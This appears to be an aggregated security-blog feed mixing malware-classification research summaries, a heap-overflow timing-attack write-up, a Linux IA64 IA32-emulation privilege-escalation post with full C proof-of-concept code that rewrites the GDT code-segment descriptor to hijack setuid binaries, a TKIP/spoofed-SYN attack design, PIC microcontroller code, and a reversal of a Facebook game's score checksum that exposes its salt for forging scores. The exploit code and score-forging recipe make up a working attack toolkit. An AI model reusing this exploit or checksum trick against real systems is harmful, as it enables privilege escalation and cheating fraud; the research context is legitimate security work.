I am making available my paper from the AusPDC conference http://sites.google.com/site/silviocesare/academicpublications. Any feedback or comments would be greatly appreciated.

I am making available my paper from the AusPDC conference http://sites.google.com/site/silviocesare/academicpublications. Any feedback or comments would be greatly appreciated.

by Steven (noreply@blogger.com) at January 28, 2010 01:53 AM
by Steven (noreply@blogger.com) at January 07, 2010 09:35 PM
by Steven (noreply@blogger.com) at January 04, 2010 12:18 AM
by Steven (noreply@blogger.com) at January 01, 2010 01:33 PM
http://www.acsw2010.scitech.qut.edu.au/acsw2010/Program_schedules/Abstracts.pdf
Malware is a pervasive problem in distributed computer and network systems. Identification of malware variants provides great benefit in early detection. Control flow has been proposed as a characteristic that can be identified across variants, resulting in flowgraph based malware classification. Static analysis is widely used for the classification but can be ineffective if malware undergoes a code packing transformation to hide its real content. This paper proposes a novel algorithm for constructing a control flow graph signature using the decompilation technique of structuring. Similarity between structured graphs can be quickly determined using string edit distances. To reverse the code packing transformation, a fast application level emulator is proposed. To demonstrate the effectiveness of the automated unpacking and flowgraph based classification, we implement a complete system and evaluate it using synthetic and real malware. The evaluation shows our system is highly effective in terms of accuracy in revealing all the hidden code, execution time for unpacking, and accuracy in classification.

I will be presenting my research on a real-time flowgraph based malware classification system at the IEEE Advanced Information Networking and Applications (AINA) conference in Perth, Australia, April 2010 – http://www.aina2010.curtin.edu.au/.

I thought I would write a small summary on an interesting paper that appeared at ACM CCS. http://www.ecsl.cs.sunysb.edu/tr/TR246.pdf is a link to the paper ‘Large-Scale Malware Indexing Using Function-Call Graphs’ which originates from Symantec.
Essentially the system identifies variants of malware similar to http://www.vxclass.com. It looks at the call graphs of particular programs and identifies the similarity to known call graphs of malware. If the similarity is high, then a malware variant has been identified. Identifying call graph similarity was introduced in http://www.f-secure.com/weblog/archives/carrera_erdelyi_VB2004.pdf. Call graph similarity is found by identifying common nodes in the graph. These nodes can be identified as having identical control flow graphs, or having the same crc32 over the function represented by the node, and any other ways you can think of. The Symantec paper identifies that similarity is a function of the graph edit distance. The edit distance is the number of operations that must be performed to convert one thing to another. Incidentally, there are related edit distances such as tree edit distances, string edit distances and lots of variations depending on what type of operations are allowed. In fact, my paper to be published in January uses one of the edit distances I just mentioned. It’s a useful concept.
Vxclass builds graph similarity by the use of a greedy node matching algorithm. It actually tries to find unique nodes first so the greedy heuristic isn’t a problem. But presumably it falls back to the greedy solution once unique solutions are exhausted. The Symantec paper tries to find a minimum cost matching using a bipartite graph matching algorithm based on the Hungarian algorithm. This is novel.
The other novel feature with the Symantec paper is the use of metric trees to speed up searching the call graph database. A metric space (http://en.wikipedia.org/wiki/Metric_space) is defined by a distance function between two particular points or objects . The distance function must have certain conditions that are true, such as d(x,y) >= 0, d(x,y) == d(y,x) and d(x,x) == 0. Also the triangle inequality ( http://en.wikipedia.org/wiki/Triangle_inequality) must hold which is d(x, z) ≤ d(x, y) + d(y, z). If these conditions are true for all objects or points, then that’s great, because performing spatial searches on the data can take advantage of these properties and perform much faster. A metric tree takes advantage of the properties of a metric space and can perform spatial queries identifying similar or nearest neighbours of a point in that space faster than comparing each point or element in the space.
Using the earlier described notion of graph matching to show distance is approximately the same as the graph edit distance. The graph edit distance forms a metric space. The Symantec paper uses vantage point trees (http://en.wikipedia.org/wiki/VP-tree) but there are other trees such as BK Trees which perform well also. I seem to recall reading that vp trees are most suited for when the distance function is a real number. BK Trees only work on integer distances. I don’t know why Symantec chose vp trees over bk trees – maybe someone else can answer? Perhaps there is no significant difference.
The novelty of the Symantec paper is using metric trees to speed up the similarity search.
The final novel contribution in the Symantec paper is an ordering each malware by specific features such as the number of instructions the malware has. The database is arranged in a b+tree and vp tree structures are kept at the nodes. Then when indexing a malware, they can cull out all malware that is not reasonably close to the features of the input binary, before searching each vp tree in the b+tree buckets. This is a pretty simple optimisation which I think can be improved upon than what was demonstrated in the paper. But Symantec still did a good job in what they did.
This is a nice paper overall that improves malware indexing state of the art. It’s not a revolutionary paper really, but each area has contributions that improve what has previously been investigated. The time it takes to classify a sample is interesting – about 100 seconds for a database size of 100k malware. They want to have it scale up to a million malware.

(added 17/10/2009)
While recently working on a heap overflow, I wanted to be able to exploit remote unknown targets that have executable memory. Just for completeness, Exec-shield and PaX would not have prevented exploitation on the distro's I checked, they just required a couple more offsets. Oh, and -D_FORTIFY_SOURCE=2 does not help either.
Anyways, the vulnerability has some specialities which make it slightly more fun than normal.. During input processing, the heap layout can change considerably, with enough massaging, you can either overwrite a structure with a pointer to a structure which has a function pointer, or cause it to write some data we semi control to a pointer we can control. Given the situation, both are relatively easy to exploit, although read only GOT entries will make the latter method harder against unknown targets. (There are function pointers on the .bss, however it requires a lot more massaging and/or luck to hit in that regards).
Because trying X input strings (where X should allow you to hit it with Y probability) for each address would end up being a lot of attempts / crashes, it would be better to try and isolate a single suitable input strings, then loop over potential memory ranges looking for our code. However, the question then is, "Is it feasible to do so?"
In the case of this particular vulnerability, it is feasible to do that via using information gained from how long it takes to shut down the socket / remote process to crash. The information we gather from this is the time between sending the string, and how long it takes for the socket to shut down, which relates to how much processing was done in the remote process.
If it closes very quickly, it implies we have hit a exit(1) code path due to the heap modification early on. If it takes too long, we've hit another exit(1) code path, but after it's done a lot of heap processing first.
If it hits a little bit before our time, it usually means the massaging was off a little bit, a bit after tends to mean the same.. However, there's enough difference to usually identify the ideal case.
Of course, using timing information is only useful in certain situations (ideally, you're close to the target machine, low/little load on each end, network load is low/lowish).. those challenges can be reduced though by owning a machine close to your target. Also it helps if the vulnerability you're targetting gives you useful timing information.
The below graph information was generated via:
trigger_str = generate_potential_trigger_string() start = time.time() skt.send(trigger_str) rlist, wlist, xlist = select.select([skt], [], [skt], 1.0) stop = time.time() difference = stop - start
and doing that 200 times, sorting, and putting the results into a text file, and having gnuplot graph it for us.
While it could probably be argued that python isn't ideal for gathering such precise timing information, we'll ignore that for now. It's working for this demonstration, which is all I care about :p
In the below graph, red crosses are "uninteresting", and green ones are "interesting". The "interesting" state is a crash that's directly related to the function pointer cleanup code. The blue dot is a crash relating to memset() (usually a pointer we control), and purple is an "other" crash (usually due to our pointer not being aligned properly due to allocation layout).
The above graph paints an interesting picture.. at the beginning, there are some very early exit(1) codepaths, then more around the below the 0.005 time marker.. At around the 0.005 and 160 intersect, we start getting crashes due to our input corrupting the processes heap (blue/purple/green) in a useful way and taking successively longer to crash.
Once we have one of the green crashes, we can use that to bruteforce the section of memory that will lead to code execution.
In closing, I hope this brief article shows some of the benefits that timing can provide when suitable and when exploiting targets when you have little information available.
(added 11/10/2009)
This posting is to clear a backlog of things I've been meaning to post at some stage. They're mostly unfinished due to a lack of motivation.. but here goes:
(started around 23/5/2008)
While recently doing some random research, I was browsing the linux 2.6.25.2 kernel source, in arch/ia64/ia32/. While I was reading over the binfmt_elf32.c file, I stumbled across an interesting comment in the function ia64_elf32_init():
/* * Map GDT below 4GB, where the processor can find it. We need to map * it with privilege level 3 because the IVE uses non-privileged accesses to these * tables. IA-32 segmentation is used to protect against IA-32 accesses to them. */
I thought it was particularly interesting in how they mentioned that segmentation would be used to protect access and modification of the applicable data.
Please keep in mind that I don't have an IA64 box to test this on, so it's currently speculation based on what information I can gather. If you do have a IA64 with IA32 linux emulation feel free to test and report back to me, I'd be interested in finding out :)
The code seems to lay memory out with a 3GB, with a couple of pages above the 3GB mark for GDT, LDT, and TSS.
From the ia32priv.h file, we have:
#define IA32_STACK_TOP IA32_PAGE_OFFSET #define IA32_GATE_OFFSET IA32_PAGE_OFFSET #define IA32_GATE_END IA32_PAGE_OFFSET + PAGE_SIZE /* * The system segments (GDT, TSS, LDT) have to be mapped below 4GB so the * IA-32 engine can * access them. */ #define IA32_GDT_OFFSET (IA32_PAGE_OFFSET + PAGE_SIZE) #define IA32_TSS_OFFSET (IA32_PAGE_OFFSET + 2*PAGE_SIZE) #define IA32_LDT_OFFSET (IA32_PAGE_OFFSET + 3*PAGE_SIZE)
Where IA32_PAGE_OFFSET #define'd to 0xc0000000 in include/asm-ia64/ia32.h.
There appears to be several ways we can access the data. The easiest is probably via the standard system calls that take a pointer and uses it in way, such as read() or write(). Additionally, we can directly modify the data via creating a new descriptor and setting the limit to 4GB (which can be done via the modify_ldt() syscall).
Using the read() / write() mechanism is probably the best way to manipulate the data, and probably most flexible.
Creating a new descriptor is easy enough, the below code shows how to:
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/ldt.h>
#include <stdio.h>
#define TYPE user_desc // modify_ldt_ldt_s for 2.4
int do_ldt(int num, unsigned long base, int type)
{
struct TYPE ldt_entry = {
num, // entry_number
(unsigned long int) (base), // base_address
0xfffff, // limit, 4G
1, // seg_32bit
type, // contents
0, // read_exec_only
1, // limit_in_pages
0, // seg_not_present
1 // usable
};
return modify_ldt(1, &ldt_entry, sizeof(struct TYPE)) == 0;
}
int main(int argc, char **argv)
{
if(do_ldt(0, 0, MODIFY_LDT_CONTENTS_DATA) == 0) {
printf("Failed to modify the ldt\n");
exit(EXIT_FAILURE);
}
// the new segment will be accessible via 0x07, (0 * 8) | user priv | ldt etc.
__asm__ volatile("pushw $7;\
popw %ds;");
printf("We've changed our ds segment descriptor\n");
}
If the above code is being compiled on a 2.4 kernel, the struct user_desc will need to be changed to struct modify_ldt_ldt_s, which can be done via changing the TYPE define above. This should allow direct access according to the comment above. Make sure it's compiled in 32 bit mode, and appropriate emulation options/modules are active.
The code in 2.6.25.2 doesn't do any checking in what memory is now accessible in ia32_ldt.c → write_ldt() function.
I'd like to repeat again that I don't have access to a IA64 box to test this out, but I'm going to attempt to write a couple of proof of concept exploits. Let me know if it works :)
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#define PAGE_SIZE 4096
#define IA32_PAGE_OFFSET 0xc0000000
//#define IA32_PAGE_OFFSET (x == 0 ? x = malloc(4 * 4096) : x)
#define IA32_STACK_TOP IA32_PAGE_OFFSET
#define IA32_GATE_OFFSET IA32_PAGE_OFFSET
#define IA32_GATE_END IA32_PAGE_OFFSET + PAGE_SIZE
#define IA32_GDT_OFFSET (IA32_PAGE_OFFSET + PAGE_SIZE)
#define IA32_TSS_OFFSET (IA32_PAGE_OFFSET + 2*PAGE_SIZE)
#define IA32_LDT_OFFSET (IA32_PAGE_OFFSET + 3*PAGE_SIZE)
unsigned char *x;
int main(int argc, char **argv)
{
int fd;
fd = open("gdt.bin", O_WRONLY|O_TRUNC|O_CREAT, 0600);
if(fd == -1) {
printf("Failed to open gdt.bin: %m\n");
exit(EXIT_FAILURE);
}
if(write(fd, IA32_GDT_OFFSET, 4096) != 4096) {
printf("Failed to write() 4096 bytes\n");
exit(EXIT_FAILURE);
}
close(fd);
printf("Dumped GDT\n");
fd = open("tss.bin", O_WRONLY|O_TRUNC|O_CREAT, 0600);
if(fd == -1) {
printf("Failed to open tss.bin: %m\n");
exit(EXIT_FAILURE);
}
if(write(fd, IA32_TSS_OFFSET, 4096) != 4096) {
printf("Failed to write() 4096 bytes\n");
exit(EXIT_FAILURE);
}
close(fd);
printf("Dumped TSS\n");
fd = open("ldt.bin", O_WRONLY|O_TRUNC|O_CREAT, 0600);
if(fd == -1) {
printf("Failed to open ldt.bin: %m\n");
exit(EXIT_FAILURE);
}
if(write(fd, IA32_LDT_OFFSET, 4096) != 4096) {
printf("Failed to write() 4096 bytes\n");
exit(EXIT_FAILURE);
}
close(fd);
printf("Dumped LDT\n");
}
After thinking about it a little bit, there may be little point in getting ring0 itself, but I haven't completely read through the itanium manuals.
According to the docs I've read so far, io ports need to be explicitly mapped in by the operating system, and enabled. Other "privileged" instructions generate traps.
If ring0 would be useful in some capacity, it could be gained by setting appropriate LDT entries if needed, and overwriting the TSS saved CS register and modifying the privilege level.
However, there would be a way to gain additional privileges if there exists a setuid root x86 binary installed on the system. This would be done via manipulating the GDT base address so that upon execve() of a suid process, the entry point would end up pointing to custom code (probably on the stack), due to segmentation base. From what I've read of the itanium manual, segmentation is used to calculate the real address it accesses (ala x86)
Setting the GDT base would also have the side effect of probably crashing any existing IA32 processes.
Theory:
Calculate where the initial entry point is going to be
Calculate where our stack arguments are going to be
Or a suitable .text / library code location
Modify the GDT base value for USER_CS
Execute a setuid x86 binary.
Randomisation probably won't be an issue due to the personality() syscall :)
Initial entry point will be the entry point in the binary if it's not dynamically linked, if it's dynamic linked, the loaders initial entry point will be the entry point.
Here's some sample code I came up with; I don't know if it works or not since I don't have access to the architecture to test. Don't forget to compile in 32bit mode (-m32 may suffice). If your compiler doesn't generate suitable binaries, compile on a x86 box.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#define PAGE_SIZE 4096
#define IA32_PAGE_OFFSET 0xc0000000
//#define IA32_PAGE_OFFSET (x == 0 ? x = malloc(4 * 4096) : x)
#define IA32_STACK_TOP IA32_PAGE_OFFSET
#define IA32_GATE_OFFSET IA32_PAGE_OFFSET
#define IA32_GATE_END IA32_PAGE_OFFSET + PAGE_SIZE
#define IA32_GDT_OFFSET (IA32_PAGE_OFFSET + PAGE_SIZE)
#define IA32_TSS_OFFSET (IA32_PAGE_OFFSET + 2*PAGE_SIZE)
#define IA32_LDT_OFFSET (IA32_PAGE_OFFSET + 3*PAGE_SIZE)
#define __USER_CS 0x23
#define __USER_DS 0x2B
unsigned char *x;
/* borrowed from arch/ia64/ia32/ia32priv.h */
#define IA32_PAGE_SHIFT 12 /* 4KB pages */
#define __USER_CS 0x23
#define __USER_DS 0x2B
#define IA32_SEG_BASE 16
#define IA32_SEG_TYPE 40
#define IA32_SEG_SYS 44
#define IA32_SEG_DPL 45
#define IA32_SEG_P 47
#define IA32_SEG_HIGH_LIMIT 48
#define IA32_SEG_AVL 52
#define IA32_SEG_DB 54
#define IA32_SEG_G 55
#define IA32_SEG_HIGH_BASE 56
#define IA32_SEG_DESCRIPTOR(base, limit, segtype, nonsysseg, dpl, segpresent, avl, segdb, gran) \
(((limit) & 0xffff) \
| (((unsigned long) (base) & 0xffffff) << IA32_SEG_BASE) \
| ((unsigned long) (segtype) << IA32_SEG_TYPE) \
| ((unsigned long) (nonsysseg) << IA32_SEG_SYS) \
| ((unsigned long) (dpl) << IA32_SEG_DPL) \
| ((unsigned long) (segpresent) << IA32_SEG_P) \
| ((((unsigned long) (limit) >> 16) & 0xf) << IA32_SEG_HIGH_LIMIT) \
| ((unsigned long) (avl) << IA32_SEG_AVL) \
| ((unsigned long) (segdb) << IA32_SEG_DB) \
| ((unsigned long) (gran) << IA32_SEG_G) \
| ((((unsigned long) (base) >> 24) & 0xff) << IA32_SEG_HIGH_BASE))
/* </borrowed> */
int main(int argc, char **argv)
{
int fd;
unsigned char scratch[4096];
unsigned long long *gdt = (unsigned long *)(scratch);
unsigned long long entry_point;
if(argc != 2) {
printf("%s <gdt offset>\n", argv[0] ? argv[0] : ";PpP");
printf("--> 0xbfffe000 (or wherever your r00tc0de is- <libc entry point> = offset, i think ;p\n");
printf("--> offset probably needs to be aligned so it can be shifted\n");
printf("--> in hex\n");
exit(EXIT_FAILURE);
}
entry_point = strtoul(argv[1], 0, 16);
fd = open("gdt.bin", O_RDWR|O_TRUNC|O_CREAT, 0600);
unlink("gdt.bin");
if(fd == -1) {
printf("Failed to open gdt.bin: %m\n");
exit(EXIT_FAILURE);
}
if(write(fd, IA32_GDT_OFFSET, 4096) != 4096) {
printf("Failed to write() 4096 bytes\n");
exit(EXIT_FAILURE);
}
printf("--> Dumped GDT\n");
if(lseek(fd, 0, SEEK_SET) == (off_t)(-1)) {
printf("Unable to seek to start of fd\n");
exit(EXIT_FAILURE);
}
if(read(fd, scratch, 4096) != 4096) {
printf("Unable to read 4096 bytes from our fd\n");
exit(EXIT_FAILURE);
}
if(lseek(fd, 0, SEEK_SET) == (off_t)(-1)) {
printf("Unable to seek to start of fd\n");
exit(EXIT_FAILURE);
}
// borrowed from ia32_support.c :P, but modified
gdt[__USER_CS >> 3] = IA32_SEG_DESCRIPTOR(entry_point, (IA32_GATE_END-1) >> IA32_PAGE_SHIFT,
0xb, 1, 3, 1, 1, 1, 1);
if(write(fd, scratch, 4096) != 4096) {
printf("Unable to write modified data back\n");
exit(EXIT_FAILURE);
}
if(lseek(fd, 0, SEEK_SET) == (off_t)(-1)) {
printf("Unable to seek backwards\n");
exit(EXIT_FAILURE);
}
printf("--> If things go well, then this should crash once read() returns to userspace. If not, hmm! maybe we moved to another processor afterwards or so?\n");
if(read(fd, IA32_GDT_OFFSET, 4096) != 4096) {
printf("Failed to read() 4096 bytes :(\n");
exit(EXIT_FAILURE);
}
printf("Hrm. It worked. but it hasn't crashed. Maybe re-run a couple of times? Maybe I've missed something?\n");
close(fd);
}
At any rate, spender tested the code up to dumping GDT, which goes to show it can be accessed, and presumably modified (I suspect you could mprotect() if it is made read only at some stage).
At any rate, I haven't been able to test due to lack of access to hardware :p
(started 14/12/2008)
When the TKIP flaw came to light (which allowed you to send a couple of packets to a client station), I played around with the idea of using an attacker controlled machine on the internet to help "conspire" against the client station.
By using the UIP TCP/IP stack, I wrote a program to help attack the client by the following means:
Wireless attacker -> Does TKIP attack, can send some packets to client machine
Wireless attacker -> Sends SYN packets to client machine on "common"
vulnerable ports (139/445/80/23/etc), with source IP of
an internet machine we control
Internet Machine -> Looks for SYN|ACK packets, if found, sets up a suitable
UIP connection structure, and fixes up the seq/ack
numbers. Machine then creates a local socket, and buffers
the data between local socket, and UIP connection to the
attacked machine.
Wireless attacker -> Can then attack the client machine with a bunch of
standard exploits
This type of attack is highly dependant on the network infrastructure in use.. outgoing SYN|ACK's may not be NAT'd properly in NAT environments (due to no incoming SYN seen), firewalls may not allow outgoing connections, with an additional complication that the client attacked may have a firewall enabled, etc.
I haven’t blogged for a few months. I’ve been busy finishing a prototype malware classification system based on flowgraph similarity. That has resulted in submitting a paper to the 8th Australasian Symposium on Parallel and Distributed Computing (AusPDC 2010) http://www.cse.unsw.edu.au/~rajivr/auspdc2010/. The system I developed and discussed in that submission is not fast enough for realtime use in desktop and EMail gateway AntiVirus. To remedy that, I’ve also been working on a simpler flowgraph based classification system. It detects less malware variants but performs in near realtime. I’ve finished a basic prototype and hope to write up my results and submit to an ACM conference by the end of September. I will write up more details about both systems after publication, which will be at earliest in January 2010.

PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com
Pipe Name Instances Max Instances
--------- --------- -------------
TerminalServer\AutoReconnect 1 1
InitShutdown 2 -1
lsass 6 -1
protected_storage 2 -1
ntsvcs 4 -1
scerpc 2 -1
net\NtControlPipe1 1 1
SfcApi 2 -1
net\NtControlPipe2 1 1
net\NtControlPipe3 1 1
...
by bannedit (noreply@blogger.com) at August 06, 2009 12:59 PM
#ifndef __LIB_H
#define __LIB_H
#define USART_TX_INT_ON 0xff
#define USART_TX_INT_OFF 0x7f
#define USART_RX_INT_ON 0xff
#define USART_RX_INT_OFF 0xbf
#define USART_BRGH_HIGH 0xff
#define USART_BRGH_LOW 0xef
#define USART_CONT_RX 0xff
#define USART_SINGLE_RX 0xf7
#define USART_SYNC_MASTER 0xff
#define USART_SYNC_SLAVE 0xfb
#define USART_NINE_BIT 0xff
#define USART_EIGHT_BIT 0xfd
#define USART_SYNCH_MODE 0xff
#define USART_ASYNCH_MODE 0xfe
void usart_open(unsigned char, unsigned int);
void usart_putc(unsigned char);
unsigned char usart_getc(void);
unsigned char usart_busy(void);
unsigned char usart_drdy(void);
unsigned char usart_wait_and_read(void);
void usart_wait_and_write(unsigned char);
#endif /* __LIB_H */
#include <pic/pic16f627a.h>
#include "lib.h"
void usart_open(unsigned char config, unsigned int spbrg) { /* {{{ */
TXSTA = 0; // Reset USART registers to POR state
RCSTA = 0;
if(config & ~USART_ASYNCH_MODE)
SYNC = 1;
if(config & ~USART_EIGHT_BIT) {
TX9 = 1;
RX9 = 1;
}
if(config & ~USART_SYNC_SLAVE)
CSRC = 1;
/*
if(config & ~USART_SINGLE_RX)
CREN = 1;
else
SREN = 1;
*/
CREN = 1;
SREN = 1;
if(config & ~USART_BRGH_LOW)
BRGH = 1;
else
BRGH = 0;
/* TX interrupts */
TXIF = 0;
if(config & ~USART_RX_INT_OFF)
RCIE = 1;
else
RCIE = 0;
/* RX interrupts */
RCIF = 0;
if(config & ~USART_TX_INT_OFF)
TXIE = 1;
else
TXIE = 0;
SPBRG = (char)spbrg;
TXEN = 1;
SPEN = 1;
TRISB1 = 1; // set B1 to transmit
TRISB2 = 0; // set B2 to receive
}
/* }}} */
void usart_putc(unsigned char dat) { /* {{{ */
//if(TX9) {
// TX9D = 0;
// if(USART_Status.TX_NINE)
// TX9D = 1;
//}
TXREG = dat; // Write the data byte to the USART
}
/* }}} */
unsigned char usart_getc(void) { /* {{{ */
return RCREG;
}
/* }}} */
unsigned char usart_busy(void) { /* {{{ */
return !TRMT;
}
/* }}} */
unsigned char usart_drdy(void) { /* {{{ */
return RCIF;
}
/* }}} */
unsigned char usart_wait_and_read(void) { /* {{{ */
while(!usart_drdy());
return usart_getc();
}
/* }}} */
void usart_wait_and_write(unsigned char dat) { /* {{{ */
while(usart_busy());
usart_putc(dat);
}
/* }}} */
#include <pic/pic16f627a.h>
#include "lib.h"
#define GPSIM_20Mhz_2400baud_BRGHlow 0x81
#define GPSIM_20Mhz_9600baud_BRGHlow 0x20
#define PIC_4Mhz_2400baud_BRGHlow 0x19
#define PIC_4Mhz_9600baud_BRGHhigh 0x19
static __code unsigned short __at(0x2007) _conf = _INTRC_OSC_NOCLKOUT;
unsigned char data_num[] = {
0x3f, 0x06, 0x5b, 0x4f, 0x66, 0x6d, 0x7d, 0x07, 0x7f, 0x6f
};
unsigned char data_alpha[] = {
0x77, 0x7c, 0x58, 0x5e, 0x79, 0x71
};
//unsigned char hex[] = "0123456789ABCDEF"; - this doesn't work yet
unsigned char hex[] = {
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
};
void main()
{
unsigned char c = 'G';
usart_open(USART_TX_INT_OFF & USART_RX_INT_OFF & USART_ASYNCH_MODE & USART_BRGH_LOW & USART_EIGHT_BIT, GPSIM_20Mhz_2400baud_BRGHlow);
TRISA = 0;
for (;;)
{
c = usart_wait_and_read();
if(c >= 'A' && c = 'F') {
PORTA = data_alpha[c - 'A'];
} else {
if(c >= '0' && c = '9')
PORTA = data_num[c - '0'];
}
usart_wait_and_write(c);
usart_wait_and_write(':');
usart_wait_and_write(' ');
usart_wait_and_write('0');
usart_wait_and_write('x');
usart_wait_and_write(hex[(c & 0xf0) >> 4]);
usart_wait_and_write(hex[c & 0x0f]);
usart_wait_and_write('\n');
}
}
# load the gpsim modules library.
module lib /usr/lib/libgpsim_modules.so.0.0.0
# creating an usart and connecting its TX pin to the PICs RX pin, allowing keyboard input
module load usart U1
node nct
node ncr
attach nct pin(portb1) U1.TXPIN
attach ncr pin(portb2) U1.RXPIN
U1.console = true
U1.rxbaud = 2400
U1.txbaud = 2400
# creating a 7 segment led display and hooking it up to PORTA
module load led_7segments L7
node nl0 nl1 nl2 nl3 nl4 nl5 nl6
attach nl0 pin(porta0) L7.seg0
attach nl1 pin(porta1) L7.seg1
attach nl2 pin(porta2) L7.seg2
attach nl3 pin(porta3) L7.seg3
attach nl4 pin(porta4) L7.seg4
attach nl5 pin(porta5) L7.seg5
attach nl6 pin(porta6) L7.seg6
# tell the builtin scope in gpsim to monitor portb2
# (in gpsim: Windows -> Scope)
scope.ch0="portb1"
test.hex: test.o lib.o
gplink \
-c \
-s /usr/share/gputils/lkr/16f627a.lkr \
-o $@ \
-m \
$^ \
-I /usr/share/sdcc/lib/pic \
pic16f627a.lib libsdcc.lib
test.o: test.asm
gpasm -c $<
lib.o: lib.asm
gpasm -c $<
test.asm: test.c
sdcc -S -mpic14 -p16f627a $<
lib.asm: lib.c
sdcc -S -mpic14 -p16f627a $<
run:
gpsim -c env.conf -s test.cod
clean:
rm -f *.cod *.hex *.lst *~ *.o *.asm *.cof *.map
upload:
../K8048/k14 p test.hex
../K8048/k14 v test.hex
http://apps.facebook.com/click_challenge_vtwo/showscore.php?t=1&c=544325099909vf32345hfgfg5435f0486367&r=fd55507070&fdgdf=33459&htu=300045&vevr=34008725320&ggrt+sf&score=445gdfg2g2452456&gfhljkm3498&dgfgd=d0bsdd-sfg5-j334-562mxf32-s&s100&s=09&s=7988&c=vf35h&b=23&9454&grfd=45&fg=tyj&3g&dgfgd=20000&3vdhj=43005&oipedv=bsddsfg&bbf=g45j32mxf32
"These expressions look much more frightening than they actually are."
flasm -d bejeweledfacebook.swf
push 0.0, 'md5'
new
setRegister r:5
pop
push 'checksum', 'myScore'
getVariable
push 'nonivechey902!0'
add
push r:3, 'fb_sig_user'
getMember
add
toString
push 1, r:5, 'hash'
callMethod
setVariable
checksum = hash(getVariable("myScore") + "nonivechey902!0" + user.getMember("fb_sig_user"), "md5")
deepstar@phoenix:/tmp/bej$ echo -n '102101nonivechey902!00123456789' | md5sum
e3f37c9eb8c861818c0e4b32265be59d -
